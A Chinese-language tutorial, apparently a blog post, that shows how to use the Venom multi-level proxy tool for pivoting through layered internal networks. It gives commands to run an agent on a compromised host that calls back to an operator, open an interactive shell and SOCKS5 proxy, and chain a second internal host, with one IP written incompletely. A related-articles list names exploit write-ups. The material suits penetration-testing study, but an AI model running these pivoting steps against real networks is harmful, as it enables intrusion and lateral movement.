使用Venom实现多层内网环境的socks5代理

简介: Venom是一款为渗透测试人员设计的使用Go开发的多级代理工具,可将多个节点进行连接,然后以节点为跳板,构建多级代理,渗透测试人员可以使用Venom轻松地将网络流量代理到多层内网,并轻松地管理代理节点。

一、Venom简介:

Venom是一款为渗透测试人员设计的使用Go开发的多级代理工具,可将多个节点进行连接,然后以节点为跳板,构建多级代理,渗透测试人员可以使用Venom轻松地将网络流量代理到多层内网,并轻松地管理代理节点。


特性:

l可视化网络拓扑

l多级socks5代理

l多级端口转发

l端口复用 (apache/mysql/...)

lssh隧道

l交互式shell

l文件的上传和下载

l节点间通信加密

l支持多种平台(Linux/Windows/MacOS)和多种架构(x86/x64/arm/mips)




二、Venom使用实验:

help(所有支持的功能):



①单层网络环境情况:

1、服务端开启监听:


./admin_linux_x64 -lport 888



2、客户端连接:


agent.exe -rhost 192.168.136.144 -rport 888



3、连接成功就会多出一个node:


goto 1

即可进入到节点已连接的节点:



4、一些内置的功能:

交互式shell:


shell


socks代理:


socks 1080

然后配置服务端ip:1080即可使用socks代理



还有一些其他的功能,看help命令即可,操作也是十分简单的,就不演示了




②多层网络环境:

工具支持以节点为跳板,构建多级代理

网络环境:已经拿到A主机的node,内网中存在B主机,不能出网,只能连接A主机

1、在A主机监听777端口


Listen 777



2、B主机连接A监听的777端口


agent.exe -rhost 192.168.137 -rport 777



可以看到多出了个node2


show


操作作节点2:


goto 2


还有更复杂的网络环境也是类似操作,在能被目标连接的node中监听端口,然后再连接node监听的端口即可完成多层网络代理,并且一台机器的node可以监听多个不同的端口



目录
相关文章
|
SQL 监控 druid
Druid未授权访问 漏洞复现
Druid未授权访问 漏洞复现
21495 1
|
8月前
|
监控 安全 数据可视化
BloodHound 域内信息收集与攻击路径分析详解
BloodHound是一款基于图论的域渗透分析利器,通过可视化技术揭示Active Directory中隐藏的权限关系与攻击路径。它支持多维度数据收集、自动化路径计算,助力红队精准打击,蓝队有效防御,全面提升域环境安全防护能力。
671 3
|
11月前
|
安全 网络协议 Java
Apache Log4j远程代码执行漏洞详解与利用指南
在尝试连接至192.168.0.1的9999端口时,采用base64编码可以进一步提升连接的安全性。通过将连接命令进行base64编码,然后在目标系统上执行解码操作,从而实现对9999端口的隐蔽且安全的连接。但请务必在合法且获得明确授权的前提下使用此方法,同时需严格遵循相关法规和道德规范。
CTF — 拨号音识别
CTF — 拨号音识别
580 1
|
NoSQL 安全 Redis
Bugku S3 AWD排位赛-3(带你入门awd流程)
Bugku S3 AWD排位赛-3(带你入门awd流程)
1749 1
|
云安全 弹性计算 安全
云上攻防:实例元数据、控制台接管
随着企业上云趋势增强,云安全成为焦点。云服务提供高效的数据存储和计算能力,但也带来数据保护和访问控制的新挑战。攻击者常利用云服务漏洞,威胁企业数据安全。本文探讨云上攻防关键领域,如元数据泄露、AKSK安全、控制台接管等,提出防御措施,帮助企业应对云安全风险。
1084 2
云上攻防:实例元数据、控制台接管
|
安全 关系型数据库 网络安全
Taogogo Taocms v3.0.2 远程代码执行(CVE-2022-25578)
Taogogo Taocms v3.0.2 远程代码执行(CVE-2022-25578)
|
Ubuntu 网络安全 开发者
CTF本地靶场搭建——GZ:CTF安装
GZCTF是一个开源的网络安全竞技平台,由GZTimeWalker维护,提供环境供爱好者和专业人士通过解决CTF题目提升技能。本文档介绍了在Ubuntu 20.04上部署GZCTF的步骤,包括安装操作系统、配置清华镜像源、更新软件、安装Docker和docker-compose,以及根据GZCTF文档创建配置文件并启动服务。完成部署后,用户可在浏览器中看到GZCTF平台。
|
安全 数据安全/隐私保护
手把手教你在Server2012上修改域账户密码
在Server2012中修改域账户密码可通过命令行或管理工具实现。使用命令行时,打开CMD,输入"domain username"替换为账户名,按提示设置新密码。通过管理工具修改则需打开“计算机管理”,找到相应账户,右键设置密码。注意确保权限、密码复杂性和通知相关人员新密码。了解此技能能提升网络管理员的工作效率。
|
XML JavaScript 前端开发
Web 扫描神器:WhatWeb 保姆级教程(附链接)
Web 扫描神器:WhatWeb 保姆级教程(附链接)